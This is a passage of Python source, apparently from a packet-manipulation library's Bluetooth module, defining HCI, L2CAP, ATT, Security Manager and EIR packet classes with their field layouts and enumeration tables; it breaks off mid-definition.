'interlaced_inquiry_scan',\n    'interlaced_page_scan',\n    'rssi_with_inquiry_results',\n    'ev3_packets',\n    'ev4_packets',\n    'ev5_packets',\n    'reserved',\n    'afh_capable_slave',\n    'afh_classification_slave',\n    'br_edr_not_supported',\n    'le_supported_controller',\n    '3_slot_edr_acl_packets',\n    '5_slot_edr_acl_packets',\n    'sniff_subrating',\n    'pause_encryption',\n    'afh_capable_master',\n    'afh_classification_master',\n    'edr_esco_2_mbps_mode',\n    'edr_esco_3_mbps_mode',\n    '3_slot_edr_esco_packets',\n    'extended_inquiry_response',\n    'simultaneous_le_and_br_edr_to_same_device_capable_controller',\n    'reserved2',\n    'secure_simple_pairing',\n    'encapsulated_pdu',\n    'erroneous_data_reporting',\n    'non_flushable_packet_boundary_flag',\n    'reserved3',\n    'link_supervision_timeout_changed_event',\n    'inquiry_tx_power_level',\n    'enhanced_power_control',\n    'reserved4_bit0',\n    'reserved4_bit1',\n    'reserved4_bit2',\n    'reserved4_bit3',\n    'extended_features',\n]\n\n_bluetooth_core_specification_versions = {\n    0x00: '1.0b',\n    0x01: '1.1',\n    0x02: '1.2',\n    0x03: '2.0+EDR',\n    0x04: '2.1+EDR',\n    0x05: '3.0+HS',\n    0x06: '4.0',\n    0x07: '4.1',\n    0x08: '4.2',\n    0x09: '5.0',\n    0x0a: '5.1',\n    0x0b: '5.2',\n    0x0c: '5.3',\n    0x0d: '5.4',\n    0x0e: '6.0',\n}\n\n\nclass HCI_Hdr(Packet):\n    name = \"HCI header\"\n    fields_desc = [ByteEnumField(\"type\", 2, _bluetooth_packet_types)]\n\n    def mysummary(self):\n        return self.sprintf(\"HCI %type%\")\n\n\nclass HCI_ACL_Hdr(Packet):\n    name = \"HCI ACL header\"\n    fields_desc = [BitField(\"BC\", 0, 2, tot_size=-2),\n                   BitField(\"PB\", 0, 2),\n                   BitField(\"handle\", 0, 12, end_tot_size=-2),\n                   LEShortField(\"len\", None), ]\n\n    def post_build(self, p, pay):\n        p += pay\n        if self.len is None:\n            p = p[:2] + struct.pack(\"<H\", len(pay)) + p[4:]\n        return p\n\n\nclass L2CAP_Hdr(Packet):\n    name = \"L2CAP header\"\n    fields_desc = [LEShortField(\"len\", None),\n                   LEShortEnumField(\"cid\", 0, {1: \"control\", 4: \"attribute\"}), ]  # noqa: E501\n\n    def post_build(self, p, pay):\n        p += pay\n        if self.len is None:\n            p = struct.pack(\"<H\", len(pay)) + p[2:]\n        return p\n\n\nclass L2CAP_CmdHdr(Packet):\n    name = \"L2CAP command header\"\n    fields_desc = [\n        ByteEnumField(\"code\", 8, {1: \"rej\",\n                                  2: \"conn_req\",\n                                  3: \"conn_resp\",\n                                  4: \"conf_req\",\n                                  5: \"conf_resp\",\n                                  6: \"disconn_req\",\n                                  7: \"disconn_resp\",\n                                  8: \"echo_req\",\n                                  9: \"echo_resp\",\n                                  10: \"info_req\",\n                                  11: \"info_resp\",\n                                  12: \"create_channel_req\",\n                                  13: \"create_channel_resp\",\n                                  14: \"move_channel_req\",\n                                  15: \"move_channel_resp\",\n                                  16: \"move_channel_confirm_req\",\n                                  17: \"move_channel_confirm_resp\",\n                                  18: \"conn_param_update_req\",\n                                  19: \"conn_param_update_resp\",\n                                  20: \"LE_credit_based_conn_req\",\n                                  21: \"LE_credit_based_conn_resp\",\n                                  22: \"flow_control_credit_ind\",\n                                  23: \"credit_based_conn_req\",\n                                  24: \"credit_based_conn_resp\",\n                                  25: \"credit_based_reconf_req\",\n                                  26: \"credit_based_reconf_resp\"}),\n        ByteField(\"id\", 1),\n        LEShortField(\"len\", None)]\n\n    def post_build(self, p, pay):\n        p += pay\n        if self.len is None:\n            p = p[:2] + struct.pack(\"<H\", len(pay)) + p[4:]\n        return p\n\n    def answers(self, other):\n        if other.id == self.id:\n            if self.code == 1:\n                return 1\n            if other.code in [2, 4, 6, 8, 10, 18] and self.code == other.code + 1:  # noqa: E501\n                if other.code == 8:\n                    return 1\n                return self.payload.answers(other.payload)\n        return 0\n\n\nclass L2CAP_ConnReq(Packet):\n    name = \"L2CAP Conn Req\"\n    fields_desc = [LEShortEnumField(\"psm\", 0, {1: \"SDP\",\n                                               3: \"RFCOMM\",\n                                               5: \"TCS-BIN\",\n                                               7: \"TCS-BIN-CORDLESS\",\n                                               15: \"BNEP\",\n                                               17: \"HID-Control\",\n                                               19: \"HID-Interrupt\",\n                                               21: \"UPnP\",\n                                               23: \"AVCTP-Control\",\n                                               25: \"AVDTP\",\n                                               27: \"AVCTP-Browsing\",\n                                               29: \"UDI_C-Plane\",\n                                               31: \"ATT\",\n                                               33: \"3DSP\",\n                                               35: \"IPSP\",\n                                               37: \"OTS\"}),\n                   LEShortField(\"scid\", 0),\n                   ]\n\n\nclass L2CAP_ConnResp(Packet):\n    name = \"L2CAP Conn Resp\"\n    fields_desc = [LEShortField(\"dcid\", 0),\n                   LEShortField(\"scid\", 0),\n                   LEShortEnumField(\"result\", 0, [\"success\", \"pend\", \"cr_bad_psm\", \"cr_sec_block\", \"cr_no_mem\", \"reserved\", \"cr_inval_scid\", \"cr_scid_in_use\"]),  # noqa: E501\n                   LEShortEnumField(\"status\", 0, [\"no_info\", \"authen_pend\", \"author_pend\", \"reserved\"]),  # noqa: E501\n                   ]\n\n    def answers(self, other):\n        # dcid Resp == scid Req. Therefore compare SCIDs\n        return isinstance(other, L2CAP_ConnReq) and self.scid == other.scid\n\n\nclass L2CAP_CmdRej(Packet):\n    name = \"L2CAP Command Rej\"\n    fields_desc = [LEShortField(\"reason\", 0),\n                   ]\n\n\nclass L2CAP_ConfReq(Packet):\n    name = \"L2CAP Conf Req\"\n    fields_desc = [LEShortField(\"dcid\", 0),\n                   LEShortField(\"flags\", 0),\n                   ]\n\n\nclass L2CAP_ConfResp(Packet):\n    name = \"L2CAP Conf Resp\"\n    fields_desc = [LEShortField(\"scid\", 0),\n                   LEShortField(\"flags\", 0),\n                   LEShortEnumField(\"result\", 0, [\"success\", \"unaccept\", \"reject\", \"unknown\"]),  # noqa: E501\n                   ]\n\n    def answers(self, other):\n        # Req and Resp contain either the SCID or the DCID.\n        return isinstance(other, L2CAP_ConfReq)\n\n\nclass L2CAP_DisconnReq(Packet):\n    name = \"L2CAP Disconn Req\"\n    fields_desc = [LEShortField(\"dcid\", 0),\n                   LEShortField(\"scid\", 0), ]\n\n\nclass L2CAP_DisconnResp(Packet):\n    name = \"L2CAP Disconn Resp\"\n    fields_desc = [LEShortField(\"dcid\", 0),\n                   LEShortField(\"scid\", 0), ]\n\n    def answers(self, other):\n        return self.scid == other.scid\n\n\nclass L2CAP_EchoReq(Packet):\n    name = \"L2CAP Echo Req\"\n    fields_desc = [StrField(\"data\", \"\"), ]\n\n\nclass L2CAP_EchoResp(Packet):\n    name = \"L2CAP Echo Resp\"\n    fields_desc = [StrField(\"data\", \"\"), ]\n\n\nclass L2CAP_InfoReq(Packet):\n    name = \"L2CAP Info Req\"\n    fields_desc = [LEShortEnumField(\"type\", 0, {1: \"CL_MTU\", 2: \"FEAT_MASK\"}),\n                   StrField(\"data\", \"\")\n                   ]\n\n\nclass L2CAP_InfoResp(Packet):\n    name = \"L2CAP Info Resp\"\n    fields_desc = [LEShortField(\"type\", 0),\n                   LEShortEnumField(\"result\", 0, [\"success\", \"not_supp\"]),\n                   StrField(\"data\", \"\"), ]\n\n    def answers(self, other):\n        return self.type == other.type\n\n\nclass L2CAP_Create_Channel_Request(Packet):\n    name = \"L2CAP Create Channel Request\"\n    fields_desc = [LEShortEnumField(\"psm\", 0, {1: \"SDP\",\n                                               3: \"RFCOMM\",\n                                               5: \"TCS-BIN\",\n                                               7: \"TCS-BIN-CORDLESS\",\n                                               15: \"BNEP\",\n                                               17: \"HID-Control\",\n                                               19: \"HID-Interrupt\",\n                                               21: \"UPnP\",\n                                               23: \"AVCTP-Control\",\n                                               25: \"AVDTP\",\n                                               27: \"AVCTP-Browsing\",\n                                               29: \"UDI_C-Plane\",\n                                               31: \"ATT\",\n                                               33: \"3DSP\",\n                                               35: \"IPSP\",\n                                               37: \"OTS\"}),\n                   LEShortField(\"scid\", 0),\n                   ByteField(\"controller_id\", 0), ]\n\n\nclass L2CAP_Create_Channel_Response(Packet):\n    name = \"L2CAP Create Channel Response\"\n    fields_desc = [LEShortField(\"dcid\", 0),\n                   LEShortField(\"scid\", 0),\n                   LEShortEnumField(\"result\", 0, {\n                       0: \"Connection successful\",\n                       1: \"Connection pending\",\n                       2: \"Connection refused - PSM not supported\",\n                       3: \"Connection refused - security block\",\n                       4: \"Connection refused - no resources available\",\n                       5: \"Connection refused - cont_ID not supported\",\n                       6: \"Connection refused - invalid scid\",\n                       7: \"Connection refused - scid already allocated\"}),\n                   LEShortEnumField(\"status\", 0, {\n                       0: \"No further information available\",\n                       1: \"Authentication pending\",\n                       2: \"Authorization pending\"}), ]\n\n\nclass L2CAP_Move_Channel_Request(Packet):\n    name = \"L2CAP Move Channel Request\"\n    fields_desc = [LEShortField(\"icid\", 0),\n                   ByteField(\"dest_controller_id\", 0), ]\n\n\nclass L2CAP_Move_Channel_Response(Packet):\n    name = \"L2CAP Move Channel Response\"\n    fields_desc = [LEShortField(\"icid\", 0),\n                   LEShortEnumField(\"result\", 0, {\n                       0: \"Move success\",\n                       1: \"Move pending\",\n                       2: \"Move refused - Cont_ID not supported\",\n                       3: \"Move refused - Cont_ID is same as old one\",\n                       4: \"Move refused - Configuration not supported\",\n                       5: \"Move refused - Move channel collision\",\n                       6: \"Move refused - Not allowed to be moved\"}), ]\n\n\nclass L2CAP_Move_Channel_Confirmation_Request(Packet):\n    name = \"L2CAP Move Channel Confirmation Request\"\n    fields_desc = [LEShortField(\"icid\", 0),\n                   LEShortEnumField(\"result\", 0, {0: \"Move success\",\n                                                  1: \"Move failure\"}), ]\n\n\nclass L2CAP_Move_Channel_Confirmation_Response(Packet):\n    name = \"L2CAP Move Channel Confirmation Response\"\n    fields_desc = [LEShortField(\"icid\", 0), ]\n\n\nclass L2CAP_Connection_Parameter_Update_Request(Packet):\n    name = \"L2CAP Connection Parameter Update Request\"\n    fields_desc = [LEShortField(\"min_interval\", 0),\n                   LEShortField(\"max_interval\", 0),\n                   LEShortField(\"slave_latency\", 0),\n                   LEShortField(\"timeout_mult\", 0), ]\n\n\nclass L2CAP_Connection_Parameter_Update_Response(Packet):\n    name = \"L2CAP Connection Parameter Update Response\"\n    fields_desc = [LEShortField(\"move_result\", 0), ]\n\n\nclass L2CAP_LE_Credit_Based_Connection_Request(Packet):\n    name = \"L2CAP LE Credit Based Connection Request\"\n    fields_desc = [LEShortField(\"spsm\", 0),\n                   LEShortField(\"scid\", 0),\n                   LEShortField(\"mtu\", 0),\n                   LEShortField(\"mps\", 0),\n                   LEShortField(\"initial_credits\", 0), ]\n\n\nclass L2CAP_LE_Credit_Based_Connection_Response(Packet):\n    name = \"L2CAP LE Credit Based Connection Response\"\n    fields_desc = [LEShortField(\"dcid\", 0),\n                   LEShortField(\"mtu\", 0),\n                   LEShortField(\"mps\", 0),\n                   LEShortField(\"initial_credits\", 0),\n                   LEShortEnumField(\"result\", 0, {\n                       0: \"Connection successful\",\n                       2: \"Connection refused - SPSM not supported\",\n                       4: \"Connection refused - no resources available\",\n                       5: \"Connection refused - authentication error\",\n                       6: \"Connection refused - authorization error\",\n                       7: \"Connection refused - encrypt_key size error\",\n                       8: \"Connection refused - insufficient encryption\",\n                       9: \"Connection refused - invalid scid\",\n                       10: \"Connection refused - scid already allocated\",\n                       11: \"Connection refused - parameters error\"}), ]\n\n\nclass L2CAP_Flow_Control_Credit_Ind(Packet):\n    name = \"L2CAP Flow Control Credit Ind\"\n    fields_desc = [LEShortField(\"cid\", 0),\n                   LEShortField(\"credits\", 0), ]\n\n\nclass L2CAP_Credit_Based_Connection_Request(Packet):\n    name = \"L2CAP Credit Based Connection Request\"\n    fields_desc = [LEShortField(\"spsm\", 0),\n                   LEShortField(\"mtu\", 0),\n                   LEShortField(\"mps\", 0),\n                   LEShortField(\"initial_credits\", 0),\n                   LEShortField(\"scid\", 0), ]\n\n\nclass L2CAP_Credit_Based_Connection_Response(Packet):\n    name = \"L2CAP Credit Based Connection Response\"\n    fields_desc = [LEShortField(\"mtu\", 0),\n                   LEShortField(\"mps\", 0),\n                   LEShortField(\"initial_credits\", 0),\n                   LEShortEnumField(\"result\", 0, {\n                       0: \"All connection successful\",\n                       2: \"All connection refused - SPSM not supported\",\n                       4: \"Some connections refused - resources error\",\n                       5: \"All connection refused - authentication error\",\n                       6: \"All connection refused - authorization error\",\n                       7: \"All connection refused - encrypt_key size error\",\n                       8: \"All connection refused - encryption error\",\n                       9: \"Some connection refused - invalid scid\",\n                       10: \"Some connection refused - scid already allocated\",\n                       11: \"All Connection refused - unacceptable parameters\",\n                       12: \"All connections refused - invalid parameters\"}),\n                   LEShortField(\"dcid\", 0), ]\n\n\nclass L2CAP_Credit_Based_Reconfigure_Request(Packet):\n    name = \"L2CAP Credit Based Reconfigure Request\"\n    fields_desc = [LEShortField(\"mtu\", 0),\n                   LEShortField(\"mps\", 0),\n                   LEShortField(\"dcid\", 0), ]\n\n\nclass L2CAP_Credit_Based_Reconfigure_Response(Packet):\n    name = \"L2CAP Credit Based Reconfigure Response\"\n    fields_desc = [LEShortEnumField(\"result\", 0, {\n                   0: \"Reconfig successful\",\n                   1: \"Reconfig failed - MTU size reduction not allowed\",\n                   2: \"Reconfig failed - MPS size reduction not allowed\",\n                   3: \"Reconfig failed - one or more dcids invalid\",\n                   4: \"Reconfig failed - unacceptable parameters\"}), ]\n\n\nclass ATT_Hdr(Packet):\n    name = \"ATT header\"\n    fields_desc = [XByteField(\"opcode\", None), ]\n\n\nclass ATT_Handle(Packet):\n    name = \"ATT Short Handle\"\n    fields_desc = [XLEShortField(\"handle\", 0),\n                   XLEShortField(\"value\", 0)]\n\n    def extract_padding(self, s):\n        return b'', s\n\n\nclass ATT_Handle_UUID128(Packet):\n    name = \"ATT Handle (UUID 128)\"\n    fields_desc = [XLEShortField(\"handle\", 0),\n                   UUIDField(\"value\", None, uuid_fmt=UUIDField.FORMAT_REV)]\n\n    def extract_padding(self, s):\n        return b'', s\n\n\nclass ATT_Error_Response(Packet):\n    name = \"Error Response\"\n    fields_desc = [XByteField(\"request\", 0),\n                   LEShortField(\"handle\", 0),\n                   ByteEnumField(\"ecode\", 0, _att_error_codes), ]\n\n\nclass ATT_Exchange_MTU_Request(Packet):\n    name = \"Exchange MTU Request\"\n    fields_desc = [LEShortField(\"mtu\", 0), ]\n\n\nclass ATT_Exchange_MTU_Response(Packet):\n    name = \"Exchange MTU Response\"\n    fields_desc = [LEShortField(\"mtu\", 0), ]\n\n\nclass ATT_Find_Information_Request(Packet):\n    name = \"Find Information Request\"\n    fields_desc = [XLEShortField(\"start\", 0x0000),\n                   XLEShortField(\"end\", 0xffff), ]\n\n\nclass ATT_Find_Information_Response(Packet):\n    name = \"Find Information Response\"\n    fields_desc = [\n        XByteField(\"format\", 1),\n        MultipleTypeField(\n            [\n                (PacketListField(\"handles\", [], ATT_Handle),\n                    lambda pkt: pkt.format == 1),\n                (PacketListField(\"handles\", [], ATT_Handle_UUID128),\n                    lambda pkt: pkt.format == 2),\n            ],\n            StrFixedLenField(\"handles\", \"\", length=0)\n        )\n    ]\n\n\nclass ATT_Find_By_Type_Value_Request(Packet):\n    name = \"Find By Type Value Request\"\n    fields_desc = [XLEShortField(\"start\", 0x0001),\n                   XLEShortField(\"end\", 0xffff),\n                   XLEShortField(\"uuid\", None),\n                   StrField(\"data\", \"\"), ]\n\n\nclass ATT_Find_By_Type_Value_Response(Packet):\n    name = \"Find By Type Value Response\"\n    fields_desc = [PacketListField(\"handles\", [], ATT_Handle)]\n\n\nclass ATT_Read_By_Type_Request_128bit(Packet):\n    name = \"Read By Type Request\"\n    fields_desc = [XLEShortField(\"start\", 0x0001),\n                   XLEShortField(\"end\", 0xffff),\n                   XLELongField(\"uuid1\", None),\n                   XLELongField(\"uuid2\", None)]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) == 6:\n            return ATT_Read_By_Type_Request\n        return ATT_Read_By_Type_Request_128bit\n\n\nclass ATT_Read_By_Type_Request(Packet):\n    name = \"Read By Type Request\"\n    fields_desc = [XLEShortField(\"start\", 0x0001),\n                   XLEShortField(\"end\", 0xffff),\n                   XLEShortField(\"uuid\", None)]\n\n\nclass ATT_Handle_Variable(Packet):\n    __slots__ = [\"val_length\"]\n    fields_desc = [XLEShortField(\"handle\", 0),\n                   XStrLenField(\n                       \"value\", 0,\n                       length_from=lambda pkt: pkt.val_length)]\n\n    def __init__(self, _pkt=b\"\", val_length=2, **kwargs):\n        self.val_length = val_length\n        Packet.__init__(self, _pkt, **kwargs)\n\n    def extract_padding(self, s):\n        return b\"\", s\n\n\nclass ATT_Read_By_Type_Response(Packet):\n    name = \"Read By Type Response\"\n    fields_desc = [ByteField(\"len\", 4),\n                   PacketListField(\n                       \"handles\", [],\n                       next_cls_cb=lambda pkt, *args: (\n                           pkt._next_cls_cb(pkt, *args)\n                       ))]\n\n    @classmethod\n    def _next_cls_cb(cls, pkt, lst, p, remain):\n        if len(remain) >= pkt.len:\n            return functools.partial(\n                ATT_Handle_Variable,\n                val_length=pkt.len - 2\n            )\n        return None\n\n\nclass ATT_Read_Request(Packet):\n    name = \"Read Request\"\n    fields_desc = [XLEShortField(\"gatt_handle\", 0), ]\n\n\nclass ATT_Read_Response(Packet):\n    name = \"Read Response\"\n    fields_desc = [StrField(\"value\", \"\")]\n\n\nclass ATT_Read_Multiple_Request(Packet):\n    name = \"Read Multiple Request\"\n    fields_desc = [FieldListField(\"handles\", [], XLEShortField(\"\", 0))]\n\n\nclass ATT_Read_Multiple_Response(Packet):\n    name = \"Read Multiple Response\"\n    fields_desc = [StrField(\"values\", \"\")]\n\n\nclass ATT_Read_By_Group_Type_Request(Packet):\n    name = \"Read By Group Type Request\"\n    fields_desc = [XLEShortField(\"start\", 0),\n                   XLEShortField(\"end\", 0xffff),\n                   XLEShortField(\"uuid\", 0), ]\n\n\nclass ATT_Read_By_Group_Type_Response(Packet):\n    name = \"Read By Group Type Response\"\n    fields_desc = [XByteField(\"length\", 0),\n                   StrField(\"data\", \"\"), ]\n\n\nclass ATT_Write_Request(Packet):\n    name = \"Write Request\"\n    fields_desc = [XLEShortField(\"gatt_handle\", 0),\n                   StrField(\"data\", \"\"), ]\n\n\nclass ATT_Write_Command(Packet):\n    name = \"Write Request\"\n    fields_desc = [XLEShortField(\"gatt_handle\", 0),\n                   StrField(\"data\", \"\"), ]\n\n\nclass ATT_Write_Response(Packet):\n    name = \"Write Response\"\n\n\nclass ATT_Prepare_Write_Request(Packet):\n    name = \"Prepare Write Request\"\n    fields_desc = [\n        XLEShortField(\"gatt_handle\", 0),\n        LEShortField(\"offset\", 0),\n        StrField(\"data\", \"\")\n    ]\n\n\nclass ATT_Prepare_Write_Response(ATT_Prepare_Write_Request):\n    name = \"Prepare Write Response\"\n\n\nclass ATT_Handle_Value_Notification(Packet):\n    name = \"Handle Value Notification\"\n    fields_desc = [XLEShortField(\"gatt_handle\", 0),\n                   StrField(\"value\", \"\"), ]\n\n\nclass ATT_Execute_Write_Request(Packet):\n    name = \"Execute Write Request\"\n    fields_desc = [\n        ByteEnumField(\"flags\", 1, {\n            0: \"Cancel all prepared writes\",\n            1: \"Immediately write all pending prepared values\",\n        }),\n    ]\n\n\nclass ATT_Execute_Write_Response(Packet):\n    name = \"Execute Write Response\"\n\n\nclass ATT_Read_Blob_Request(Packet):\n    name = \"Read Blob Request\"\n    fields_desc = [\n        XLEShortField(\"gatt_handle\", 0),\n        LEShortField(\"offset\", 0)\n    ]\n\n\nclass ATT_Read_Blob_Response(Packet):\n    name = \"Read Blob Response\"\n    fields_desc = [\n        StrField(\"value\", \"\")\n    ]\n\n\nclass ATT_Handle_Value_Indication(Packet):\n    name = \"Handle Value Indication\"\n    fields_desc = [\n        XLEShortField(\"gatt_handle\", 0),\n        StrField(\"value\", \"\"),\n    ]\n\n\nclass SM_Hdr(Packet):\n    name = \"SM header\"\n    fields_desc = [ByteField(\"sm_command\", None)]\n\n\nclass SM_Pairing_Request(Packet):\n    name = \"Pairing Request\"\n    fields_desc = [ByteEnumField(\"iocap\", 3, {0: \"DisplayOnly\", 1: \"DisplayYesNo\", 2: \"KeyboardOnly\", 3: \"NoInputNoOutput\", 4: \"KeyboardDisplay\"}),  # noqa: E501\n                   ByteEnumField(\"oob\", 0, {0: \"Not Present\", 1: \"Present (from remote device)\"}),  # noqa: E501\n                   BitField(\"authentication\", 0, 8),\n                   ByteField(\"max_key_size\", 16),\n                   ByteField(\"initiator_key_distribution\", 0),\n                   ByteField(\"responder_key_distribution\", 0), ]\n\n\nclass SM_Pairing_Response(Packet):\n    name = \"Pairing Response\"\n    fields_desc = [ByteEnumField(\"iocap\", 3, {0: \"DisplayOnly\", 1: \"DisplayYesNo\", 2: \"KeyboardOnly\", 3: \"NoInputNoOutput\", 4: \"KeyboardDisplay\"}),  # noqa: E501\n                   ByteEnumField(\"oob\", 0, {0: \"Not Present\", 1: \"Present (from remote device)\"}),  # noqa: E501\n                   BitField(\"authentication\", 0, 8),\n                   ByteField(\"max_key_size\", 16),\n                   ByteField(\"initiator_key_distribution\", 0),\n                   ByteField(\"responder_key_distribution\", 0), ]\n\n\nclass SM_Confirm(Packet):\n    name = \"Pairing Confirm\"\n    fields_desc = [StrFixedLenField(\"confirm\", b'\\x00' * 16, 16)]\n\n\nclass SM_Random(Packet):\n    name = \"Pairing Random\"\n    fields_desc = [StrFixedLenField(\"random\", b'\\x00' * 16, 16)]\n\n\nclass SM_Failed(Packet):\n    name = \"Pairing Failed\"\n    fields_desc = [XByteField(\"reason\", 0)]\n\n\nclass SM_Encryption_Information(Packet):\n    name = \"Encryption Information\"\n    fields_desc = [StrFixedLenField(\"ltk\", b\"\\x00\" * 16, 16), ]\n\n\nclass SM_Master_Identification(Packet):\n    name = \"Master Identification\"\n    fields_desc = [XLEShortField(\"ediv\", 0),\n                   StrFixedLenField(\"rand\", b'\\x00' * 8, 8), ]\n\n\nclass SM_Identity_Information(Packet):\n    name = \"Identity Information\"\n    fields_desc = [StrFixedLenField(\"irk\", b'\\x00' * 16, 16), ]\n\n\nclass SM_Identity_Address_Information(Packet):\n    name = \"Identity Address Information\"\n    fields_desc = [ByteEnumField(\"atype\", 0, {0: \"public\"}),\n                   LEMACField(\"address\", None), ]\n\n\nclass SM_Signing_Information(Packet):\n    name = \"Signing Information\"\n    fields_desc = [StrFixedLenField(\"csrk\", b'\\x00' * 16, 16), ]\n\n\nclass SM_Security_Request(Packet):\n    name = \"Security Request\"\n    fields_desc = [BitField(\"auth_req\", 0, 8), ]\n\n\nclass SM_Public_Key(Packet):\n    name = \"Public Key\"\n    fields_desc = [StrFixedLenField(\"key_x\", b'\\x00' * 32, 32),\n                   StrFixedLenField(\"key_y\", b'\\x00' * 32, 32), ]\n\n\nclass SM_DHKey_Check(Packet):\n    name = \"DHKey Check\"\n    fields_desc = [StrFixedLenField(\"dhkey_check\", b'\\x00' * 16, 16), ]\n\n\nclass EIR_Hdr(Packet):\n    name = \"EIR Header\"\n    fields_desc = [\n        LenField(\"len\", None, fmt=\"B\", adjust=lambda x: x + 1),  # Add bytes mark  # noqa: E501\n        # https://www.bluetooth.com/specifications/assigned-numbers/generic-access-profile\n        ByteEnumField(\"type\", 0, {\n            0x01: \"flags\",\n            0x02: \"incomplete_list_16_bit_svc_uuids\",\n            0x03: \"complete_list_16_bit_svc_uuids\",\n            0x04: \"incomplete_list_32_bit_svc_uuids\",\n            0x05: \"complete_list_32_bit_svc_uuids\",\n            0x06: \"incomplete_list_128_bit_svc_uuids\",\n            0x07: \"complete_list_128_bit_svc_uuids\",\n            0x08: \"shortened_local_name\",\n            0x09: \"complete_local_name\",\n            0x0a: \"tx_power_level\",\n            0x0d: \"class_of_device\",\n            0x0e: \"simple_pairing_hash\",\n            0x0f: \"simple_pairing_rand\",\n\n            0x10: \"sec_mgr_tk\",\n            0x11: \"sec_mgr_oob_flags\",\n            0x12: \"slave_conn_intvl_range\",\n            0x14: \"list_16_bit_svc_sollication_uuids\",\n            0x15: \"list_128_bit_svc_sollication_uuids\",\n            0x16: \"svc_data_16_bit_uuid\",\n            0x17: \"pub_target_addr\",\n            0x18: \"rand_target_addr\",\n            0x19: \"appearance\",\n            0x1a: \"adv_intvl\",\n            0x1b: \"le_addr\",\n            0x1c: \"le_role\",\n            0x1d: \"simple_pairing_hash_256\",\n            0x1e: \"simple_pairing_rand_256\",\n            0x1f: \"list_32_bit_svc_sollication_uuids\",\n\n            0x20: \"svc_data_32_bit_uuid\",\n            0x21: \"svc_data_128_bit_uuid\",\n            0x22: \"sec_conn_confirm\",\n            0x23: \"sec_conn_rand\",\n            0x24: \"uri\",\n            0x25: \"indoor_positioning\",\n            0x26: \"transport_discovery\",\n            0x27: \"le_supported_features\",\n            0x28: \"channel_map_update\",\n            0x29: \"mesh_pb_adv\",\n            0x2a: \"mesh_message\",\n            0x2b: \"mesh_beacon\",\n\n            0x3d: \"3d_information\",\n\n            0xff: \"mfg_specific_data\",\n        }),\n    ]\n\n    def mysummary(self):\n        return self.sprintf(\"EIR %type%\")\n\n    def guess_payload_class(self, payload):\n        if self.len == 0:\n            # For Extended_Inquiry_Response, stop when len=0\n            return conf.padding_layer\n        return super(EIR_Hdr, self).guess_payload_class(payload)\n\n\nclass EIR_Element(Packet):\n    name = \"EIR Element\"\n\n    def extract_padding(self, s):\n        # Needed to end each EIR_Element packet and make PacketListField work.\n        return b'', s\n\n    @staticmethod\n    def length_from(pkt):\n        if not pkt.underlayer:\n            warning(\"Missing an upper-layer\")\n            return 0\n        # 'type' byte is included in the length, so subtract 1:\n        return pkt.underlayer.len - 1\n\n\nclass EIR_Raw(EIR_Element):\n    name = \"EIR Raw\"\n    fields_desc = [\n        StrLenField(\"data\", \"\", length_from=EIR_Element.length_from)\n    ]\n\n\nclass EIR_Flags(EIR_Element):\n    name = \"Flags\"\n    fields_desc = [\n        FlagsField(\"flags\", 0x2, 8,\n                   [\"limited_disc_mode\", \"general_disc_mode\",\n                    \"br_edr_not_supported\", \"simul_le_br_edr_ctrl\",\n                    \"simul_le_br_edr_host\"] + 3 * [\"reserved\"])\n    ]\n\n\nclass EIR_CompleteList16BitServiceUUIDs(EIR_Element):\n    name = \"Complete list of 16-bit service UUIDs\"\n    fields_desc = [\n        # https://www.bluetooth.com/specifications/assigned-numbers/16-bit-uuids-for-members\n        FieldListField(\"svc_uuids\", None, XLEShortField(\"uuid\", 0),\n                       length_from=EIR_Element.length_from)\n    ]\n\n\nclass EIR_IncompleteList16BitServiceUUIDs(EIR_CompleteList16BitServiceUUIDs):\n    name = \"Incomplete list of 16-bit service UUIDs\"\n\n\nclass EIR_CompleteList32BitServiceUUIDs(EIR_Element):\n    name = 'Complete list of 32-bit service UUIDs'\n    fields_desc = [\n        # https://www.bluetooth.com/specifications/assigned-numbers\n        FieldListField('svc_uuids', None, XLEIntField('uuid', 0),\n                       length_from=EIR_Element.length_from)\n    ]\n\n\nclass EIR_IncompleteList32BitServiceUUIDs(EIR_CompleteList32BitServiceUUIDs):\n    name = 'Incomplete list of 32-bit service UUIDs'\n\n\nclass EIR_CompleteList128BitServiceUUIDs(EIR_Element):\n    name = \"Complete list of 128-bit service UUIDs\"\n    fields_desc = [\n        FieldListField(\"svc_uuids\", None,\n                       UUIDField(\"uuid\", None, uuid_fmt=UUIDField.FORMAT_REV),\n                       length_from=EIR_Element.length_from)\n    ]\n\n\nclass EIR_IncompleteList128BitServiceUUIDs(EIR_CompleteList128BitServiceUUIDs):\n    name = \"Incomplete list of 128-bit service UUIDs\"\n\n\nclass EIR_CompleteLocalName(EIR_Element):\n    name = \"Complete Local Name\"\n    fields_desc = [\n        StrLenField(\"local_name\", \"\", length_from=EIR_Element.length_from)\n    ]\n\n\nclass EIR_ShortenedLocalName(EIR_CompleteLocalName):\n    name = \"Shortened Local Name\"\n\n\nclass EIR_TX_Power_Level(EIR_Element):\n    name = \"TX Power Level\"\n    fields_desc = [SignedByteField(\"level\", 0)]\n\n\nclass EIR_ClassOfDevice(EIR_Element):\n    name = 'Class of device'\n    fields_desc = [\n        FlagsField('major_service_classes', 0, 11, [\n            'limited_discoverable_mode',\n            'le_audio',\n            'reserved',\n            'positioning',\n            'networking',\n            'rendering',\n            'capturing',\n            'object_transfer',\n            'audio',\n            'telephony',\n            'information'\n        ], tot_size=-3),\n        BitEnumField('major_device_class', 0, 5, {\n            0x00: 'miscellaneous',\n            0x01: 'computer',\n            0x02: 'phone',\n            0x03: 'lan',\n            0x04: 'audio_video',\n            0x05: 'peripheral',\n            0x06: 'imaging',\n            0x07: 'wearable',\n            0x08: 'toy',\n            0x09: 'health',\n            0x1f: 'uncategorized'\n        }),\n        BitField('minor_device_class', 0, 6),\n        BitField('fixed', 0, 2, end_tot_size=-3)\n    ]\n\n\nclass EIR_SecureSimplePairingHashC192(EIR_Element):\n    name = 'Secure Simple Pairing Hash C-192'\n    fields_desc = [NBytesField('hash', 0, 16)]\n\n\nclass EIR_SecureSimplePairingRandomizerR192(EIR_Element):\n    name = 'Secure Simple Pairing Randomizer R-192'\n    fields_desc = [NBytesField('randomizer', 0, 16)]\n\n\nclass EIR_SecurityManagerOOBFlags(EIR_Element):\n    name = 'Security Manager Out of Band Flags'\n    fields_desc = [\n        BitField('oob_flags_field', 0, 1),\n        BitField('le_supported', 0, 1),\n        BitField('previously_used', 0, 1),\n        BitField('address_type', 0, 1),\n        BitField('reserved', 0, 4)\n    ]\n\n\nclass 